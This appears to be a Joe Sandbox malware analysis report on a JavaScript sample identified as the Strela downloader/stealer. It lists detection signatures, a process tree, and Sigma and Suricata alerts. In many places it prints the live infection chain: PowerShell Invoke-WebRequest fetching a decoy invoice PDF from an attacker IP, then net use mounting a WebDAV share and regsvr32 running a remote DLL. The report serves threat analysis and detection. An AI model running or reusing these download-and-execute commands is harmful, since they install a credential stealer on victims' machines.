Edit tour

Windows Analysis Report
2708993316838119.js

Overview

General Information

Sample name:	2708993316838119.js
Analysis ID:	1588714
MD5:	681d300012a2d13a076be6c2534551e5
SHA1:	0982394da688b0bb74caa6316971eed45a041045
SHA256:	fb36a80d7ad3bd707546f5f1eb6e9fa5903a35721a691f324fef4eff4674d7c6
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7568 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2708993316838119.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7616 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\44311922414533.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7624 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7668 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7860 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 8088 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 1152 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2120 --field-trial-handle=1644,i,4098101461263419961,10574565154834051972,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7944 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7992 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 8148 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7568	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\44311922414533.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7616, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7668, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\44311922414533.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7616, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7668, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2708993316838119.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2708993316838119.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2708993316838119.js", ProcessId: 7568, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 7992, Protocol: tcp, SourceIp: 192.168.2.8, SourceIsIpv6: false, SourcePort: 49706

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\44311922414533.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\44311922414533.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2708993316838119.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7568, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\44311922414533.dll, ProcessId: 7616, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\44311922414533.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\44311922414533.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2708993316838119.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7568, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\44311922414533.dll, ProcessId: 7616, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\44311922414533.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\44311922414533.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2708993316838119.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7568, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\44311922414533.dll, ProcessId: 7616, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\44311922414533.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\44311922414533.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2708993316838119.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7568, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\44311922414533.dll, ProcessId: 7616, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\44311922414533.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\44311922414533.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2708993316838119.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7568, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\44311922414533.dll, ProcessId: 7616, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2708993316838119.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2708993316838119.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2708993316838119.js", ProcessId: 7568, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\44311922414533.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7616, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7668, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7944, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7992, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 8148, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7944, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7992, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\44311922414533.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\44311922414533.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2708993316838119.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7568, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\44311922414533.dll, ProcessId: 7616, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T04:34:49.187769+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.8	49705	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T04:34:51.772471+0100	1810005	1	Potentially Bad Traffic	192.168.2.8	49706	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T04:34:49.187769+0100	1810000	2	Potentially Bad Traffic	192.168.2.8	49705	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 2708993316838119.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 2708993316838119.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.8:49706 -> 193.143.1.205:8888
Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.8:49705 -> 193.143.1.205:80

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 03:34:49 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49706

